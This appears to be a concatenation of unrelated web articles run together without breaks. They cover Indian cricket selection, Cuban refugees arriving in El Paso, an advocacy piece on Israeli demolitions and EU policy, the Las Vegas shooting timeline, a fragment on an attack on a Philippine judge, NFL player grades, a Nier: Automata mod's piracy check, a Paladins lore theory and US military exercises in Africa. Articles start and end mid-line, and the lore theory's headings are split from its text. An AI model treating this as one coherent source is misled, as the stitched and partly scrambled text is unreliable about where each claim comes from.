Fast bowler Ishwar Pandey has been part of the ODI squad for the recent New Zealand tour and the Asia Cup, but hasn't got a look-in in either series despite India's listless performances. Middle-order batsman Cheteshwar Pujara, who is in the Asia Cup squad, also hasn't added to the two ODI caps he earned in the low-profile Zimbabwe series last year.
"Very hard to understand, to be honest with you, it's baffling," Gavaskar said on Star Sports about India's decision to go in with an unchanged XI. "Some of the players have been playing non-stop, they need a bit of a break before the World T20 starts, the second thing is if you are not going to give the reserve players a chance, then when are they going to play."
Pujara has become an integral member of the Test side, and averages 58.92 in domestic one-dayers but has found it hard to make the ODI XI. "Are you worried that Cheteshwar Pujara will score runs so that your favourites who are not consistent might have to make way?" Gavaskar asked. "Are you worried that Ishwar Pandey will pick wickets, and again some of your favourite bowlers might not be certain of a place in the team, what are you worried about?"
Gavaskar also said the move will 'breed complacency' in the team. "The only thing that comes to my mind is that there is that worry and there's probably a fear that if these guys do well, what happens to our favourites in the team.
"This is what breeds complacency, guys know, kuch bhi karoon, team main hoon (whatever I do, I'm in the team)."
At the toss, Virat Kohli had defended the decision. "It is important the team gets confidence from playing one unit, you have to be patient with this side," Kohli said. "We are in a transition phase as far as one-days are concerned, we have shown great fight in this tournament, people have to be patient with us, we surely have the talent, but we will have to wait for the experience to come."
India are already knocked out of the Asia Cup after final-over losses to Sri Lanka and Pakistan, and are playing their final league match against Afghanistan on Wednesday.
© ESPN Sports Media Ltd.The first wave of what could become thousands of Cuban refugees have begun arriving in El Paso. Four thousand expected in the next two weeks.
KFOX14 discovered refugees are arriving confused and lost.
Volunteers at the Houchen Center drove around Friday afternoon looking for Cuban immigrants who have just arrived and have nowhere to go. They said they have no way of knowing when the planes are arriving and when the immigrants are coming.
"Its very hit or miss," said Ray Dominguez, a volunteer.
They said some of the U.S. Customs and Border Protection officers and Border Patrol agents are giving immigrants information on where to go, but that's not always the case.
"A lot of them are walking around downtown. We've actually heard some are walking to the Houchen Center. A lot are getting taxis, because taxicab drivers are offering to take them," said Dominguez.
Volunteers are patrolling the bridges trying to help as many refugees as they can and take them to a shelter but said it's difficult because Cuban immigrants are entering at every bridge.
"There's a lot of miscommunication," said Dominguez.
Friday evening, KFOX14 met Robbie Rosales at the Bridge of the Ameridas. "I lived 11 months in Ecuador "Rosales said. "I've, traveled for two months before getting here to the United States."
It's been a long and difficult journey to reach the United States.
"To get here has been very hard. We've traveled through the jungle, and they've robbed many of us. Some women have been raped. They've treated us bad and have taken things from us, all so that we can fulfill our American dream," said Rosales.
Friday night, he waited at the bridge for his friends to join him.
"It's every Cuban's American dream. For the opportunities that are available for Cubans and everyone else who wants to come to this country. To make our dreams come true," said Rosales.
He has no idea what time his friends will arrive or where they will stay Friday night.
Rosales had no idea there are organization like the Houchen Center, the Annunciation House and the Catholic Diocese that are ready and able to help.
"I am unfamiliar with everything here, so I'm trying to investigate. I really don't know anyone here in Texas, so I can't take the risk. I have no one to help me. The person helping me is in New York," said Rosales.
Dominguez said they are finding that to often be the case.
The refugees don't know about the organizations ready to help. So volunteers continue to drive around.
"People are coming from a whole other world. We're trying to be here as much as we can in order to facilitate this to be a little quicker," said Dominguez.
Unfortunately, volunteers said there have already been instances of unscrupulous people picking up Cubans, robbing them and leaving them on the side of the road
Rosales said he is the only one in his family now in the United States.
"I want to work and eventually bring my family here in the future," said Rosales.
His journey isn't quite over yet, but now his American dream is just starting.
"I want to thank the government and all the Americans for giving us the opportunity to get to this country to pursue our dreams," said Rosales.
Luckily, many of the Cubans that are already in El Paso that are staying at the Houchen Center have been able to tell volunteers when their friends or their families are coming in. They've been able to communicate via phone, and so that's been one way volunteers know when to head to the bridge.
"The first thing they want to do when they get here is get on Facebook and send messages to their family," said Dominguez.
The Houchen Center and the Annunciation House are need of volunteers, according to spokeswoman for the diocese's Elizabeth O'Hara. She said personal hygiene products can dropped off at the Houchen Center at 609 Tays or Annunication House 1003 E. San Antonio.
Bus tickets for the refugees can also be donated. The Houchen Center is working with Tornado Bus Line to purchase discounted tickets for the refugees. If anyone wants to buy bus tickets, they need the name of the traveler. Those who want to make those purchases can do so by making a check to the Diocese of El Paso. Please designate the check as being for Cuban refugee relief.
For more info on volunteering, product drop-off and bus tickets, call Annunication House at 915-545-4509.On Wednesday morning, Israeli forces demolished a Palestinian-owned building in the occupied East Jerusalem neighborhood of Beit Hanina.
As usual, the pretext was that the owners had failed to obtain a permit – something the occupation municipality almost never grants to Palestinians.
A day earlier, nine Palestinians were made homeless when Israeli forces demolished two houses in the Silwan neighborhood, using the same pretext.
The Palestinian online publication Quds tweeted this video of the demolition in progress:
جانب من عمليات الهدم التي تنفذها قوات الاحتلال في أحد منازل بلدة سلوان. pic.twitter.com/sAIMyGzmRR — شبكة قدس الإخبارية (@qudsn) October 17, 2017
According to the Wadi Hilweh Information Center, a local organization, among the newly homeless Palestinians are several children.
Speaking amid the ruins of his house, Omar Abu Rajab told Palestinian media that Israeli forces came early in the morning and refused to postpone the destruction despite ongoing court challenges to the demolition order.
#شاهد| الاحتلال يهدم منزل المواطن عمر أبو رجب رغم من وجود قرار محكمة بعدم هدمه صباح اليوم في سلوان بالقدس المحتلة pic.twitter.com/WC42rYP1Cc — فلسطين الآن (@paltimes2015) October 17, 2017
Silwan is the target of the most extensive Israeli plan to expel Palestinians in years. The plan paves the way for Jewish settlers.
Last year was a record year for Israeli demolitions in the occupied West Bank, including Jerusalem.
This is all part of Israel’s plan to transform the occupied Palestinian city into a Jewish theme park run by and for settlers.
“Since 1967, the government of Israel has directly engaged in the construction of 55,000 units for Israelis in East Jerusalem; in contrast, fewer than 600 units have been built for Palestinians in East Jerusalem, the last of which were built 40 years ago,” Daniel Seidemann of the nonprofit group Terrestrial Jerusalem told the Ma’an News Agency in light of Tuesday’s demolitions.
Colonization surge
This week Israel began construction of 1,600 housing units in the so-called Givat Hamatos settlement in the occupied West Bank, south of Jerusalem.
For the first time in years, Israel also gave approval for new settlement construction in the heart of the West Bank city of Hebron.
And why not? Despite the UN Security Council declaring repeatedly – most recently in December – that all of Israel’s settlements are illegal under international law, Israel faces no consequences for its crimes.
On Wednesday, the European Union put out a statement about Israel’s reinvigorated settlement drive, its forced expulsions of Palestinian Bedouins and its evictions of Palestinian families in Jerusalem.
The statement does not clearly condemn Israel’s actions. Instead, it says the EU “has requested clarifications from Israeli authorities and conveyed the expectation that they reconsider these decisions, which are detrimental to ongoing efforts towards meaningful peace talks.”
This is diplomatic speak for: we barely have the courage to even criticize you, let alone to take action.
Meek “demand”
True, the statement does repeat the EU’s lip service that “all settlement activity is illegal under international law.”
But this begs the question: What “clarifications” does the EU still require after five decades of open, aggressive Israeli colonization in the occupied West Bank and elsewhere?
On Wednesday, Israel’s Haaretz newspaper reported that eight European states are about to take the “unprecedented” step of threatening to demand $35,000 in compensation from Israel for the structures and equipment they funded in the West Bank that Israeli forces recently confiscated.
While this move is being marketed as a bold and tough European step, it only underlines how timid the EU really is. The sum in question is a tiny fraction of the at least $74 million in European-funded aid projects that Israel has destroyed with impunity.
EU support for Israel’s crimes
The fact is that the EU is an active enabler of Israel’s crimes.
Despite a growing legal consensus that international law requires countries to ban trade with Israeli settlements outright, the EU looks away as Israel defies its weak and ineffective requirements to label such goods.
Some EU officials even declare that settlement products are “welcome” in European supermarkets.
By contrast to the decades of EU inaction over Israel’s violations, the 28-member bloc was quick to impose sanctions on Russia over its 2014 annexation of Crimea.
As Israeli politicians put forward plans for ethnic cleansing and genocide, the EU refuses to condemn them. Recently, the EU even hired an Israeli genocide advocate to help with its public relations efforts.
While Israel’s biggest arms maker helps Israel evade an international ban on cluster weapons, the EU continues to lavish it with millions of dollars of “research” funds.
That’s in addition to funding Israeli torturers.
And as Israel aims to censor and suppress the Palestine solidarity movement by smearing criticism of its crimes as anti-Semitism, the EU volunteers to help.
Thank you @naftalibennett for good chat today on EU Israel relations: education,security,innovation pic.twitter.com/ezq9UGgK7S — Emanuele Giaufret (@EGiaufretEU) October 2, 2017
Israel knows that EU statements are worthless. It knows that it can freely demolish Palestinian schools funded by European governments and the EU will do nothing in response.
Israel and Palestinians know that the real EU is not the one that regularly pretends to be “concerned” about settlements, but the one whose Tel Aviv ambassador Emanuele Giaufret warmly grips the hands of Israeli leaders like Naftali Bennett – an open supporter of apartheid who boasts about killing Arabs.
With all this complicity and more, EU statements like the one issued Wednesday should not be understood as criticism of Israel. They should be taken for what they really are: mockery of the Palestinian victims of the Israeli crimes the EU continues to incentivize and reward.During a tense and at times emotional press conference held on Friday, Clark County Sheriff Joe Lombardo offered a third timeline of the Las Vegas massacre, saying there was no six-minute gap between when the gunman shot a hotel security guard and opened fire on concertgoers.
Lombardo, who is in charge of the Las Vegas Metropolitan Police Department, also revealed that Stephen Paddock deliberately fired on responding police officers, possibly to keep them at bay, but said there is no evidence that he was driven by ideology, or was affiliated with any group.
As of 8am on Friday, the number of injured victims was 546 but only 45 of them were still hospitalized, some in critical condition. The rest have been discharged.
A visibly shaken Sheriff Lombardo choked up talking about one of the victims, Metro Police officer Brady Cook, who he said suffered four gunshot wounds in the mass shooting but asked to return to work this morning.
Scroll down for video
Shaken: Las Vegas Metropolitan Police Sheriff Joe Lombardo chokes up during Friday's press conference talking about officers wounded in the October 1 mass shooting
Lombardo broke down after mentioning that officer Brady Cook, who was wounded, asked to return to work Friday morning
According to the sheriff, it is believed that Paddock, 64, intentionally fired upon jet fuel tanks near McCarran Airport.
‘I have been advised there is a very low probably that aviation fuel could be ignited by gunfire,’ Lombardo stated.
Seeking to clear up the confusion surrounding the timeline of the events, which has been revised multiple times since the October 1 massacre, Lombrado said he continues to stand by the latest chronology, according to which the incident began unfolding at 9.59pm on October 1.
MGM Resorts International, which owns the Mandalay Bay, released a statement Thursday questioning that timeline because it suggested that hotel security guard Jesus Campos, who was shot and wounded by Paddock, may have waited up to six minutes to report the attack.
Hotel officials claimed it was no more than 40 seconds between the time Campos used his walkie talkie to call for help and Paddock opening fire from his arsenal of weapons on 20,000 concertgoers at the Route 91 Harvest Festival across the street.
On Friday, the sheriff said he was ‘very well aware of the MGM statement’ and that he was not in conflict with it.
Police say gunman Stephen Paddock (pictured) adjusted his fire to target police vehicles responding to the scene of the mass shooting
Paddock shot Mandalay Bay security guard Jesus Campos at around 10.05pm on the 32nd floor of the hotel, not 9.59pm, as it had been suggested earlier
Lombardo sought to clarify the timeline, saying that at 9.59pm, Jesus Campos encountered a barricaded stairwell door and had to ascend to another level in order to reach the 32nd floor where Paddock’s room was located.
NEW TIMELINE This is the revised timeline given out on Friday. 9:59pm: Campos approaches Paddock's room looking for an alarm going off at a door nearby - likely from the stairwell. He encounters a barricaded door and makes his way to 32nd floor. 10:05pm: Campos is shot and wounded in the leg. He radios and calls in incident as gunman opens fire on concert. 10:12pm: First two officers arrive on the 31st floor. 10:15pm: The last shots are fired from the suspect for reasons unknown. 10:17pm: The first two officers arrive on the 32nd floor from the 31st. 10:26-10:30pm: With Paddock quiet, eight more cops arrive and they decide to evacuate the rooms on the floor. 10:55pm: Eight officers arrive in the stairwell next to the suspect's room and find the door tampered with and a camera on a room service cart outside; they decide to hold off. 11:20pm: Paddock's room is breached and police enter the room to find him dead.
According to the sheriff, the security guard was shot in the leg ‘closer to 10.05pm,’ at which time he radioed in shots fired and also called on his cellphone to report the incident.
Lombardo added that 10.05pm was also when ‘the majority of the fire started,’ referring to the shooting targeting the country music festival.
At 10.17pm - 12 minutes later - officers first arrived on the 32nd floor. The sheriff said that firing ‘had ceased’ by that point and Paddock killed himself with a shot to the head.
It is still unclear why he stop firing on the festival when he did, or what his motive was.
The sheriff said that Paddock’s brain has been sent to a special medical facility, where it will be subjected to microscopic analysis, after a preliminary evaluation revealed no visible abnormalities.
Lombardo’s latest version of events dovetails with that presented by Mandalay Bay officials on Thursday.
‘There is no conspiracy between the FBI, LVMPD and MGM,’ Lombardo said emphatically.
Security guard Jesus Campos disappeared Thursday night, just moments before he was set to speak to the press for the first time since the savage attack.
As of late Friday afternoon, the whereabouts of wounded Mandalay Bay staffer were unknown.
After conducting hundreds of interviews, reviewing digital media and 1,000 pieces of evidence, Sheriff Lombardo said police and the FBI have found ‘no signs of ideology or affiliation with any groups.’
Sheriff Lombardo said by the time police officers arrived outside Paddock's hotel room door, at 10.17pm, firing had ceased
Where is Jesus Campos? Las Vegas security guard disappears before he was set to speak to the media The Mandalay Bay security guard who was shot before gunman Stephen Paddock opened fired on concertgoers across the street from the hotel disappeared Thursday night, just moments before he was set to speak to the press for the first time since the savage attack. As of Friday afternoon, the whereabouts of Jesus Campos were unknown. DailyMail.com reached out for comment to David Hickey, president of the International Union, Security, Police and Fire Professionals of America that represent the guard, and were awaiting a response. According to the latest timeline provided by police detailing the events of October 1, Paddock sprayed 200 rounds into the hallway on the 32nd floor of Mandalay Bay, wounding Campos in the leg, just before he unleashed his barrage of bullets on the crowd attending the Route 91 Harvest Festival. Campos, who was unarmed, survived the shooting and was scheduled to sit down for five TV interviews Thursday night, including one on Fox News, but suddenly vanished. ABC News reporter Stephanie Wash tweeted Thursday, quoting the president of Campos' labor union: 'We were in a room & we came out & he was gone.' She followed up by writing that Campos' whereabouts were unknown. The security guard was supposed to be interviewed by Fox News' Sean Hannity, but the host tweeted on Thursday: 'He cancelled.'
Earlier this week |
is a blow to our profession. Our prayers and sympathies to the family and praying for the immediate recovery of Judge Abul’s wife. The IBP Eastern Mindanao condemns in the strongest possible terms this atrocity. This kind of violent attack is not only an attack to the person of the Honorable Judge but this is an attack to our institution. We call for justice! And we hope that this case be solved as soon as possible,” said Bacala.
Judge Abul was to return to work this month after he was suspended for six months on February 28, 2017 by the Supreme Court for an administrative matter involving a case of extortion filed against the judge on January 12, 2015.TB-SF grades: Rodgers, Evans secure win for Bucs
By Wes Huber • Oct 23, 2016
[Editor’s note: This grade recap was originally published on Oct. 23, and edited on Oct. 24 to reflect corrections made during our review process.]
Tampa Bay Buccaneers 34, San Francisco 49ers 17
Here are the top takeaways and highest-graded players from the Tampa Bay Buccaneers’ 34-17 victory over the San Francisco 49ers.
Quarterback grade: Jameis Winston, 79.5
While the Bucs’ signal-caller showcased some difficulty when under pressure (four of nine, 37 yards, one touchdown, one interception), Jameis Winston simply assaulted the 49ers’ secondary when deciding not to blitz (13-of-16, 144 yards and three touchdowns).
Top offensive grades:
HB Jacquizz Rodgers, 89.8
WR Mike Evans, 83.5
WR Russell Shepard, 80.0
G Ali Marpet, 66.6
HB Peyton Barber, 65.7
Ground attack engulfs 49ers
Despite being without star running back Doug Martin or his protégé, Charles Sims, the Tampa Bay ground game fired on all cylinders en route to collecting 250 total rushing yards. Jacquizz Rodgers pieced together an all-star performance for his top grade of the season against the overwhelmed defense. The sixth-year back out of Oregon State was able to avoid four tackles and average 4.08 yards after contact on 26 attempts. Capping off the ground game dominance, WR Mike Evans submitted another fine performance despite added attention from the 49er secondary. While Evans was charged with dropping a deep pass, he was able to secure each of his eight remaining catchable targets and finish the game with an average of 3.20 yards per route run over 30 snaps in route.
Top defensive grades
DI Gerald McCoy, 86.3
CB Brent Grimes, 84.6
LB Kwon Alexander, 83.3
DB Vernon Hargreaves III, 77.4
ED Noah Spence, 76.3
Haunted by the sound of approaching footsteps
The Buccaneers’ pass rush made a mess of the 49ers’ offensive game plan, pressuring Colin Kaepernick 15 times, sacking him on four, batting away two passes and additionally forcing him to scramble from the pocket on six occasions. DI Gerald McCoy proved the most disruptive while recording his top grade of the season, achieving six pressures, one sack, batting away one pass and recording three run stops.
Quarterback grade: Colin Kaepernick, 74.8
Kaepernick less than stellar
Kaepernick’s continued inaccuracy plagued the offense throughout and the offensive line did him zero favors. Kaepernick accumulated a mere 143 passing yards on 34 attempts, 41 yards coming on the first drive and 36 of those gained during garbage-time check downs. Kaepernick would complete only two of nine attempts for six yards when under pressure and only twice attempted throws of 20 yards or more – both incompletions.
Top offensive grades:
G Zane Beadles, 80.1
T Joe Staley, 76.0
HB DuJuan Harris, 75.9
T Trenton Brown, 66.3
WR Jeremy Kerley, 59.3
Offense proves increasingly inept without Carlos Hyde
The 49ers’ running backs averaged 4.0 yards per carry as the Tampa Bay run defense kept them bottled up for much of the afternoon. DuJuan Harris was able to earn a respectable 75.9 grade after eluding four tackle attempts and collecting both of his receiving targets. The remaining offense, as a collective, flopped during the humbling defeat.
Top defensive grades:
CB Tramaine Brock, 81.2
DI Mike Purcell, 75.1
LB Aaron Lynch, 74.6
DI DeForest Buckner, 74.5
ED Ahmad Brooks, 72.1
Rookie Buckner shines
The 49ers’ 2016 first-round selection out of Oregon, DeForest Buckner, produced a solid effort outside of being flagged for a late hit on the quarterback in the second quarter. Buckner pressured the quarterback twice, one ending in a hit, recording seven solo tackles and five run stops. However, San Francisco was again gashed by the opposing ground game that greatly overshadowed the solid individual performances from Buckner, CB Tramaine Brock, DI Mike Purcell, and LB Aaron Lynch.
PFF Game-Ball Winner: Tampa Bay HB Jacquizz Rodgers
PFF’s player grading process includes multiple reviews, which may change the grade initially published in order to increase its accuracy. Learn more about how we grade and access grades for every player through each week of the NFL season by subscribing to Player Grades.Many fans were happy to hear about Kaldaien’s “FAR mod,” a patch that fixes Nier: Automata’s technical issues on PC. Some people who downloaded the mod were surprised to find that it checks whether or not you’ve pirated the game, and the modder’s decision to include such a feature has proven controversial.
When you install FAR, it warns you that “use of this software is granted on the condition that any products being modified have been licensed to you under the terms and conditions set forth by their respective copyright holders.” If you move forward and click through the new user agreement, on the main settings screen, you can see that FAR checks if you have a legitimate copy of the game. If you do, it checks off a condition titled “I am not a pirate,” as you can see below. Screenshot courtesy of Kotaku’s Luke Plunkett.
On neoGAF, Kaldaien explains that “Nothing malicious happens if you fail this check, you’re just presented with an infinite license screen that you can click Accept on but since you don’t respect licenses the license doesn’t respect your click.” In short, you can’t use the official mod if you pirate the game.
On the Steam forums, this news caused quite the commotion. The thread that originally shared the mod burst into arguments and insults, and Kaldaien himself even got temporarily banned from posting, allegedly because he called someone a “pirate moron.” The thread has since been removed from Steam, but reactions to the piracy check can be found all around the web. Some people actually feel entitled to use the mod no matter how they obtained the game.
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“What a petty little shit,” one Redditor wrote. “I fail to see why a modder would do that,” another wrote. “Probably just to be a prick.” Some fans, however, were more supportive. “He created it,” one Steam user noted. “He has the power to do whatever he wants with it. If that means blocking pirates and outright banning people from using it, then so be it.” “Kaldaien is the only person I know who buys games not to play them but to fix them and enjoys doing it,” another wrote.
Part of the controversy lies in the idea that Kaldaien says he has developed a “blacklist” that prevents two Steam users from using his mod. Because of that, some are angrily calling FAR “malware,” though Kaldaien contends the list only exists because “Steam moderators did absolutely nothing to stop a rash of troll flood posts while I was trying to offer support for the two mods I was working on at the time. Nobody has been added since, nobody ever will.” We reached out to Kaldaien yesterday but did not hear back in time for publication.
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While many are taking FAR’s check as some sort of moral judgement on piracy, Kaldaien insists otherwise. “My anti-piracy measures actually have nothing to do with my personal views on individual piracy,” Kaldaien wrote on neoGAF. “I don’t condone the practice, I don’t generally think highly of people who do it, but this is not done to punish them. It is to protect me against asset injection of copyrighted material.” On Steam, Kaldaien said, “I will not be thrown under the bus when some user uses my software to inject DLC they didn’t purchase.” It’s also worth noting that locking pirates out means Kaldaien doesn’t have to waste time trying to troubleshoot problems with people that don’t even have the game legally.
“I will not be thrown under the bus when some user uses my software to inject DLC they didn’t purchase.”
Kaldaien’s practice of inserting piracy checks into his mods actually goes back to Tales of Berseria, and at the time, that decision also didn’t go over well with some people. It’s possible that FAR’s continuation of this practice has caused a bigger commotion because Nier: Automata’s anti-piracy software, Denuvo, recently got cracked again. Some players are probably trying to squeeze out the best performance possible from their pirated copy, and Kaldaien’s mod could be considered crucial for the best experience on PC. Kaldaien suggests that such frustrated players “Uninstall the mod and accept that you’re not entitled to everything in this world,” and that furthermore acting “like a giant baby because you don’t get your way is immature.”
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Despite the heated bickering, some pirates aren’t letting FAR’s code get in the way. On Reddit, some users are sharing workarounds if not modifications of FAR that allow them to enjoy the technical improvements. Kaldaien seems to welcome that development.
“The source code is readily available,” he wrote on Steam. “If you want to use it to do illegal things, feel free to modify it yourself. I won’t be distributing versions that allow it and that’s the minimalist approach to anti-piracy.”
As of this morning, following the Steam forums meltdown, FAR has been moved to a new thread that you can find here.A Theory on Maeve's Relation to Androxus
No One Escapes the Law 0: Overview
Lex is not aligned with Androxus
Zhin isn't aligned with Lex
Maeve isn't aligned with Zhin
No One Escapes the Law 1: Zhin
Zhin is infamous, Lex is justice.
It's a stock example of good guy and bad guy. Zhin wants Lex dead because Lex wants Zhin dead, except Lex is currently busy with Androxus. However, if that were simply the case, then Zhin wouldn't save Androxus (as shown by deflecting Lex's shots as his introduction). He aould have just gone straight for the kill while Lex was aiming his gun at the downed Androxus. That brings this to point 2. Zhin is building relations with Androxus.
Zhin knows Androxus (Kinda). It's like knowing Iron Man but not knowing that Iron Man is Tony Stark. You know the mask, not the man. Zhin has 2 interactions with the godslayer, one of which is when being killed by Androxus. Zhin says, "This doesn't count!" Meaning that Androxus is keeping count of something. In context, this is most likely duel wins. The other one is spawn chatter, saying, "Do not interfere with my combat, Godslayer. They are my kills". The fact that Zhin says Godslayer instead of Androxus seems to first of all prove the first part of kinda knowing Androxus (since it's more formal to call someone by a title instead of by name, and the Godslayer is Androxus' title). Also, it's more likely that a title spreads faster than a name, and "The Godslayer" is a name that sticks out really well.
No One Escapes the Law 2: Lex
No One Escapes the Law 3a: Maeve
No One Escapes the Law 3b: Of Blades
Her ultimate line (Goodniiiiight~) is a common line in fights when someone is about to be knocked out or killed.
The ally version of her ultimate line sounds really team-based, which is a major difference to her enemy/self version. This seems to show that Maeve is simply using the skills she has when involving other people, which again goes back to "I'd these guys can help me live longer, then I'll work with them no matter what". It's all business and no personailty. She has no flair with her ult, as if she has no reason to be proud of it. It's just a useful tool to her, not some special trait to center her life around (Like Ying's illusions, Evie's ice staff, Cassie's heritage, Kinessa's job, Fernando's "fiery" personality, Torvald's gauntlet, Pip's potions, or Lex's guns).
No One Escapes the Law 4: Androxus' Intentions
Androxus is running from Lex Androxus was chasing Maeve before hunting Lex.
Closer
Afterward
A quick note, this is mostly based on voice lines and the cinematic trailer involving Lex, Androxus, Zhin, and Maeve.So starting with the cinematic trailer, It is established that:Among those interactions, the only clear one is of Zhin attacking Lex for two possible reasons.Zhin probably heard some rumor and decided to try meeting said Godslayer), and that the duels speculated from earlier could be Androxus testing Zhin, the leader of the Thousand Hand Guild (THG), to see if the THG was worth his time.Why this is important: Maeve stops Zhin from finishing Lex, which means that Maeve needs Lex alive for some reason, most likely to kill Androxus.Zhin's Conclusion: The THG wants to affiliate with Androxus, so Zhin is there for situation. Zhin is not a cause of this engagement (referring to the cinematic).Right from the get-go, this battle between Lex and Androxus seemed to be less of a battle and more of a chase. If this was a battle, Androxus would strafe and fight back, but Androxus only fired one shot in return at Lex, of which was badly aimed as Androxus was still running. Why is Lex chasing down Androxus to begin with? At first, this may be a general concept of good against evil, but the more I (I know it's not good to use opinions; I'm going to use them anyways) think about it, the less it makes sense. Androxus always seemed to be the "Lawful Good" type. For comparison, Zhin is a "Neutral Evil" type, who does evil things for his own intentions (This is why I believe Androxus will never join the THG; their interests don't actually align, but Zhin doesnt know that). Androxus never does anything truly bad except what is needed, and his voice lines show it. All of Androxus' lines involving darkness point to him having ties to darkness, but resenting it greatly. There is also the other insanely speculatory reason that Lex's order involves a god and Androxus had slain that god, but there isn't enough lore to back that one up.Lex's Conclusion: This is speculation, but Lex may have simply spotted Androxus attempting to execute someone who affiliates with darkness. I believe that someone is Maeve.As mentioned previously with Zhin, seeing Maeve protecting Lex is very strange. Maeve is a pickpocket, so assisting the law means that either Maeve is trying to clear her name (Which, with her behavior, seems very unlikely) or needs Lex for something. If Androxus is hunting Maeve down (as speculated in Lex's conclusion) and Lex is hunting Androxus down, it would make sense for Maeve to help someone who's helping her live; It fits with Maeve's character of "Do whatever it takes to survive", of which "an enemy of my enemy is an ally". When looking at their skill sets, it makes sense as well. Even if Lex were to hunt down Maeve after defeating Androxus, Maeve has a lot of vertical mobility with her prowl ability, letting Maeve escape to a place Lex can't easily reach. It's easier for her to deal with Lex than Androxus.Maeve's First Conclusion: Maeve is running from Androxus for some reason.Maeve is all about her blades. Her voice lines are all about the blades and her abilities are all about using her blades better or repositioning except for one: Her ultimate. Although it may help with the "repositioning" part of her kit better, Maeve's ability to instantly make darkness appear is an outlier to her kit. Maeve doesn't make any remarks about it either.Maeve's Second Conclusion: As it's so out of place, Maeve's ability to reduce vision using darkness is an acquired skill, possibly from whatever darkness god that had cursed Androxus or of which Androxus had slain. That gives Androxus a reason to hunt Maeve down, since Maeve is affiliated with said god.As it has been previously established:Someone may be asking why Androxus fired at Lex instead of Maeve (for whatever reason he's targeting Maeve and escape Lex). Here's the kicker, heshooting at Maeve. Take a look again, if Androxus really was aiming for Lex, he would have shot around Maeve, either by stepping to the side or nether stepping to the sky. Instead he shot straight ahead at, you guessed it, Maeve. Maeve would have taken the shot if Androxus shot straight, leaving Lex mostly unharmed. How else is this shown? If it was slightly to the left or right, Maeve could have easily sidestepped and Lex would have still been hit by the blast radius while leaving herself unhurt. Instead, Maeve jumped straight up which (for a girl who can not only jump higher but also double jump) seems like a better panic option than quickly deciding which way to step. Lex just happened to be directly behind Maeve when the shot was fired, redirecting viewers' attention to Lex.Conclusion: Androxus is trying to kill Maeve.After time and time of losing her, Androxus had finally found Maeve and was planning to eliminate her, but being caught by the local police (Lex) doing something criminal (murder), Androxus was forced to run, as killing Lex was something Androxus didn't want to do. Lex wasn't involved in this affair of darkness. After a chase, Lex finally managed to knock down Androxus, but before Lex could finish his job, Zhin denies such an ending because the Thousand Hand Guild needed Androxus alive as another hand of the guild. Androxus most likely wouldn't have joined anyways. Zhin eventually gains the upper hand, but before Zhin could end Lex's life, Maeve hops back into that fray to save Lex so that Maeve always had someone to keep Androxus occupied with not trying to kill her. However, just as Maeve had driven off Zhin, she turns around to find Androxus aiming his revolver right at her. It was rather she lose her own life or live another day on the run from Androxus (since Lex would be dead). She bails, only barely missing the shot. Below her, she realizes that Lex was able to counter Androxus' shot with his own, and he will keep living, now with the goal of bringing Androxus down to his knees under the law. With that bright burst of light, Maeve takes off. Androxus soon follows in pursuit and Lex is left dealing with Zhin.Final conclusion: It's 4:03 in the morning and I both speculate and theorize too muchNext is the segment I'm writing that's pure speculation of what could happen. This is not part of the theory, but rather a pair of possible outcomes that would happen after the events that take place in the cinematic, assuming the theory is correct. This was written a day after the theory is finished. This speculation assumes that killing Maeve removes the curse on Androxus.After countless days and nights of pursuing and being pursued, Androxus finally has the upper hand. Lex is unconscious at his side, Maeve is fallen in front of him, crippled. Androxus lifts his revolver and...Ending 1:....penetrates her skull, right in the head. As her upper body falls, the curse on Androxus slowly begins to fade, leaving what was left of his former self. No more nether stepping, no more cursed arm. Tears of joy run down his face as he embraces what he had once lost. The godslayer is now nothing but a legend.Androxus, now free to pursue what he wants, first starts by carrying the unconscious Lex to the closer site of medical attention. The doctors take the lawman off of his arms and Androxus returns to the site of which he laid an end to not only a curse and a dead god, but an innocent girl who was just doing whatever she can to live on. Androxus takes the body in secret to an nearby hill, ill-visited by the locals. He buries her body. Nothing is written on the tombstone except, in bold letters, "MAEVE". Just below it, "Goodnight". Maeve: The girl who was weak in strength but strong in heart, the girl who never threw away her chances, the true nemesis of Androxus. Feeling remorse for the loss of an important to him, Androxus decides to pursue alongside Lex in the police force. He still had goof aim with a revolver after all, Androxus had an easy time fitting right in. Soon, Lex and Androxus became the best of friends, rivals to each other's achievements. Together, they attempt to put an end to the Thousand Hand Guild.Ending 2:.... begins pulling the trigger, but he hesitates. The look in Maeve's eyes, the terror running through her mind, is this what Androxus wanted? Granted, the curse had done much harm to him, but was that really worth harming others and and killing this girl? He drops his arm, revolver falling to the floor. Maeve is flabbergasted as Androxus walks up forwards her, helping her up and guiding her away to a sheltered place."Why?" Maeve asks, to which in response, Androxus states."My battle is not with you; It never was, I have been wrong." The godslayer turned to leave. From now on, he will have to live with the curse that is eating away at him.Months later, Lex storms the base of the Thousand Hand Guild, alone. His plan took months to plan, but today is the day that it happens. With no regrets, Lex charges in."No one escapes the law, death awaits you all!" He shouts. Bright blue radiates from Lex's magnums, wiping out many of the nearby crooks in one shot. Anyone still alive charged in, attempting to bring down the invader.It took a while, but even tired and wounded, Lex came out on top. Queer, it was as if Lex was not on his own. It was as if his shadow was standing by his side, fighting alongside him. It was as if his shadow was the godslayer himself. With the criminal leader Zhin being dragged along, Lex began to head home, later to be called the hero of the outskirts.America’s Codebook: Africa now has a table for military training exercises in Africa to compliment its lists of military operations past and present. I’ve also written summaries for the ones identified in official documentation as special operations forces field training exercises (“SOF FTX”). I had been aware of two of these, Exercises Flintlock and Silent Warrior, both of which are largely focused on the Trans-Sahara / Sahel region. I had not been aware of the other two, Exercises Nectar Bend and Noble Piper. While Flintlock and Silent Warrior both focus on missions generally performed by special operations forces, it appears that the SOF FTX designation is applied even when the exercise is simply run by US special operations forces.
Exercise Flintlock is relatively well known, though generally more recently. It was hosted in Mali in 2010 and was scheduled to be hosted in Mali again in 2012 before the coup in that country led to its cancellation. This years exercise was hosted in Mauritania with an eye still toward Mali, especially as many of the participants were already contributed to international efforts there or were preparing to. Silent Warrior, a Joint Chiefs of Staff exercise focusing on the region, also popped up into the news this year.
This is very little information, however, on Nectar Bend and Noble Eagle, held regularly in Ethiopia and Kenya respectively. These exercises, which date back at least to the 1990s, are led by US special operations forces in support of the African Contingency Operations Training and Assistance (ACOTA) program. ACOTA, which is managed by the US Department of State and supported by the US Department of Defense, provides training for African forces to support their deployment on peacekeeping and other contingency operations. ACOTA started in 1997 as the African Crisis Response Initiative (ACRI), before switching names in 2004. Nectar Bend, at least, predates ACRI however. It is possible that Noble Piper does as well.
